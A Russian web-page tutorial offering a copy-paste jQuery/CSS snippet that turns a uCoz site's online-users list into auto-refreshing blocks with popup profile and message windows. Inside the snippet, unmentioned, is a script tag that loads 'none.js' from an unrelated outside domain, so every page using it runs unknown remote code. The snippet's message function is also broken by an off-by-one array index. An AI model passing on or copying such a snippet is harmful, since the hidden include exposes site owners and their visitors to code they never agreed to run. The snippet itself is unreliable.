СЛУЧАЙНЫЕ СТАТЬИ
ПОСЛЕДНИЕ МАТЕРИАЛЫ
  • HTV-3X FALCON
  • [Перспективные боевые системы]
    [26.05.2008]
  • Стирание воспоминаний
  • [R&D]
    [06.04.2009]
  • Трехсторонняя комиссия
  • [Тайные правительства]
    [07.04.2008]
  • IBM работает над созданием "компьютерного мозга"
  • [R&D]
    [23.11.2009]
  • Орбитальная станция
  • [Космос]
    [25.01.2013]
  • Falcon-9 [РН]
  • [Космос]
    [24.01.2013]
  • Федералы и управленцы Уолл-стрит прячутся по норам
  • [Тайные правительства]
    [23.01.2013]
  • Cougar-H
  • [Перспективные боевые системы]
    [23.01.2013]
    Главная » 2012 » Октябрь » 16 » Новый простой динамичный список онлайн пользователей
     

    Новый простой динамичный список онлайн пользователей

    Это простой динамичный список онлайн пользователей, но предоставленный в блочной системе. Профиль и личные сообщения открываются в ajax окнах. Автообновление производится каждые 30 секунд. Скрипт выполнен без лишних функций и наворотов, так что код получился очень компактный

    Установка:

    В шаблонах своего сайта замените $ONLINE_USERS_LIST$ на:

    Code
    <div class="apoulist" style="display:none;">  
      $ONLINE_USERS_LIST$  
      </div><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><style>  
      .apo {  
      width:95%;  
      height:15px;  
      background:rgba(230, 230, 230, 0.8);  
      padding:2px;  
      vertical-align:middle;  
      margin-bottom:5px;  
      font-weight:bold;  
      border-left:1px solid #ccc;  
      border-top:1px solid #ccc;  
      border-radius:2px;  
      }  

      .apo a {  
      text-decoration:none;  
      }  
      </style>  
      <script>  
      // Удобная динамичная онлайн статистика by Apocalypse  
      function apoOnGet() {  
      // Основная функция получения и стилизации списка пользователей  
      $('.apoulist').load('# .apoulist', function() {  

      // Убираем запятые  
      $('.apoulist').html($('.apoulist').html().replace(/\,/g, ''));  

      // Делаем форму видимой  
      $('.apoulist').fadeIn();  

      // Превращаем список пользователей в блочный вариант + отключаем события при клике  
      $('.apoulist a').each(function() {  
      $(this).html('<table class="apo"><td>' + $(this).html() + '</td><td align="right"><img src="http://s36.ucoz.net/.s/img/icon/us.png" onclick="apoGetP(\'' + $(this).text() + '\')" class="apoprofile" height="11px" title="Мини-профиль"> <img onclick="apoGetPm(\'' + $(this).attr('href') + '\')" src="http://s36.ucoz.net/.s/img/icon/mf.png" height="11px" title="Отправить сообщение"></td></table>');  
      }).removeAttr('onclick').click(function() {return false});  
      });  
      };  

      // Запускаем функцию при загрузке страницы  
      apoOnGet();  

      // Запускаем интервал автообновления  
      setInterval(function() {  
      apoOnGet();  
      }, 30000);  

      // Функция получения профиля  
      function apoGetP(name) {  
      new _uWnd('apoGetP', 'Профиль ' + name, 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/8-0-' + name.replace(/\-/gi, '~'), xml:false});  
      }  

      // Функция получения страницы Личных Сообщений  
      function apoGetPm(url) {  
      var url2 = url.split('-');  
      var url3 = url2[url2.length];  
      new _uWnd('apoGetPm', 'Сообщение', 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/14-' + url3 + '-0-1', xml:false});  
      }  
      // ApoTeam (c) 2012  
      </script>


    Категория: / Дата: 24.04.2024 / Прочитано: 410/ Добавил: Aninew
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Статистика
    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0

    Форма входа
    Календарь
    «  Октябрь 2012  »
    ПнВтСрЧтПтСбВс
    1234567
    891011121314
    15161718192021
    22232425262728
    293031
    Архив записей
    Друзья сайта